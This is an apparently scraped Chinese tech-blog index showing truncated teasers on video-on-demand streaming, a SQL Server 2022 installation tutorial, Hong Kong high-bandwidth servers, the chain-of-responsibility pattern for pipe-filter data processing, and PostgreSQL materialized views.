在数字化时代&#xff0c;视频点播应用已经成为我们生活中不可或缺的一部分。监控技术与视频点播的结合正悄然改变着我们获取和享受媒体内容的方式。这一变革不仅体现在技术层面的进步&#xff0c;更深刻地影响了我们。 EasyDSS视频直播点播平台是一款高性能流媒体服务软件。E…

最新SQL Server 2022保姆级安装教程【附安装包】

目录 一、安装包下载&#xff1a; 下载链接&#xff1a;https://pan.quark.cn/s/b1c0c63d61ec 二、安装SQL Server 1.下载安装包后解压出来&#xff0c;双击打开 2.等待加载安装程序 3.点击基本安装 4.点击接受 5.点击浏览 6.在D盘新建文件夹 7.命名为【Sql Server】&…

香港大带宽服务器:助力高效网络应用

随着全球化的加速和互联网流量的持续增长&#xff0c;大带宽服务器逐渐成为企业在全球范围内运营的关键设施。香港凭借其优越的地理位置、先进的网络基础设施和政策环境&#xff0c;成为部署大带宽服务器的重要节点之一。本文将全面探讨香港大带宽服务器的核心优势、应用场景及…

设计模式:责任链实现数据流风格的数据处理

数据流风格 数据流风格是软件架构中的一种风格&#xff0c;主要是面向数据&#xff0c;用于进行流式的数据处理&#xff1b;数据流风格的代表有管道-过滤器风格和批处理序列风格&#xff0c;这里主要是指管道-过滤器风格。 管道-过滤器风格就像其名字一样&#xff0c;是以一个…

PGSQL物化视图(Materialized View)

在 PostgreSQL 中&#xff0c;物化视图&#xff08;Materialized View&#xff09;是一种特殊的数据库对象&#xff0c;它存储了查询的结果集&#xff0c;并可以定期刷新以反映基础表中的数据变化。物化视图可以提高查询性能&#xff0c;因为它减少了每次查询时重新计算数据的需…